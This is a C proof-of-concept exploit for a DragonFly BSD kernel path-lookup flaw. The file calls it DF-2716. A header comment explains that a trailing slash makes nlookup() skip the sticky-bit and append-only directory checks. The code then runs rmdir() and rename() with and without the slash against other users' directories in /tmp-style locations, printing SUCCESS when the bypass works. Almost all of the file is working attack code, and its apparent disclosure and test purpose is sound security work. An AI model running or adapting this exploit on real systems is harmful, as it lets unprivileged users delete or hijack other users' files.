DF-2716 / df2716.c
/* * DF-2716 - DragonFly BSD kernel nlookup() trailing-slash dflags bypass * * sys/kern/vfs_nlookup.c nlookup() collects directory feedback flags * (NLC_STICKY / NLC_APPENDONLY / NLC_IMMUTABLE) into `dflags` only when * * *nptr != '/' && (nl_flags & NLC_MODIFYING_MASK) * * (vfs_nlookup.c:653-660). For a path whose LEAF component is followed by * a trailing '/', nptr points at that '/', so the leaf's parent directory * is misclassified as an intermediate directory and its feedback flags are * never collected. The final leaf naccess() at vfs_nlookup.c:1213 runs * with dflags == 0, so naccess_lva() (vfs_nlookup.c:1902) never sees * NLC_STICKY and the sticky-bit deletion restriction is not enforced. * Same for the append-only-directory rule (NLC_APPENDONLY, * vfs_nlookup.c:1838). * * Result: an unprivileged user can rmdir()/rename() *other users'* * directories inside a sticky (mode +t) world-writable directory such as * /tmp, and can delete entries in an append-only directory - by simply * appending a trailing slash to the path. * * Build: cc -o df2716 df2716.c * Run: ./df2716 <phase> (phases a1 a2 a3 a4 a5 b1 b2; see run.sh) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> static char BASE[128]; static char BASEB[128]; static void report(const char *op, const char *a, const char *b, int rc) { if (rc < 0) printf("%-8s(%-26s%s%s) = -1 errno=%d (%s)\n", op, a, b ? ", " : "", b ? b : "", errno, strerror(errno)); else printf("%-8s(%-26s%s%s) = 0 *** SUCCESS ***\n", op, a, b ? ", " : "", b ? b : ""); } int main(int argc, char **argv) { const char *phase; const char *env; if (argc != 2) { fprintf(stderr, "usage: %s <a1|a2|a3|a4|a5|b1|b2>\n", argv[0]); exit(2); } env = getenv("DF2716_BASE"); if (env == NULL || *env == 0) env = "/tmp/df2716"; snprintf(BASE, sizeof(BASE), "%s", env); env = getenv("DF2716_BASEB"); if (env == NULL || *env == 0) env = "/tmp/df2716b"; snprintf(BASEB, sizeof(BASEB), "%s", env); phase = argv[1]; printf("phase=%s uid=%d euid=%d base=%s baseb=%s\n", phase, getuid(), geteuid(), BASE, BASEB); char p_victim[256], p_victim_sl[256], p_stolen[256]; char p_own[256], p_dst_sl[256], p_sub[256], p_sub_sl[256]; snprintf(p_victim, sizeof(p_victim), "%s/victim", BASE); snprintf(p_victim_sl, sizeof(p_victim_sl), "%s/victim/", BASE); snprintf(p_stolen, sizeof(p_stolen), "%s/df2716_stolen", BASE); snprintf(p_own, sizeof(p_own), "%s/df2716_own_dir", BASE); snprintf(p_dst_sl, sizeof(p_dst_sl), "%s/victim/", BASE); snprintf(p_sub, sizeof(p_sub), "%s/sub", BASEB); snprintf(p_sub_sl, sizeof(p_sub_sl), "%s/sub/", BASEB); if (strcmp(phase, "a1") == 0) /* control: sticky enforced */ report("rmdir", p_victim, NULL, rmdir(p_victim)); else if (strcmp(phase, "a2") == 0) /* BUG: trailing slash */ report("rmdir", p_victim_sl, NULL, rmdir(p_victim_sl)); else if (strcmp(phase, "a3") == 0) /* control */ report("rename", p_victim, p_stolen, rename(p_victim, p_stolen)); else if (strcmp(phase, "a4") == 0) /* BUG: src trailing slash */ report("rename", p_victim_sl, p_stolen, rename(p_victim_sl, p_stolen)); else if (strcmp(phase, "a5") == 0) /* BUG: dst trailing slash */ report("rename", p_own, p_dst_sl, rename(p_own, p_dst_sl)); else if (strcmp(phase, "b1") == 0) /* control: sappnd enforced */ report("rmdir", p_sub, NULL, rmdir(p_sub)); else if (strcmp(phase, "b2") == 0) /* BUG: trailing slash */ report("rmdir", p_sub_sl, NULL, rmdir(p_sub_sl)); else { fprintf(stderr, "bad phase\n"); exit(2); } return (0); } |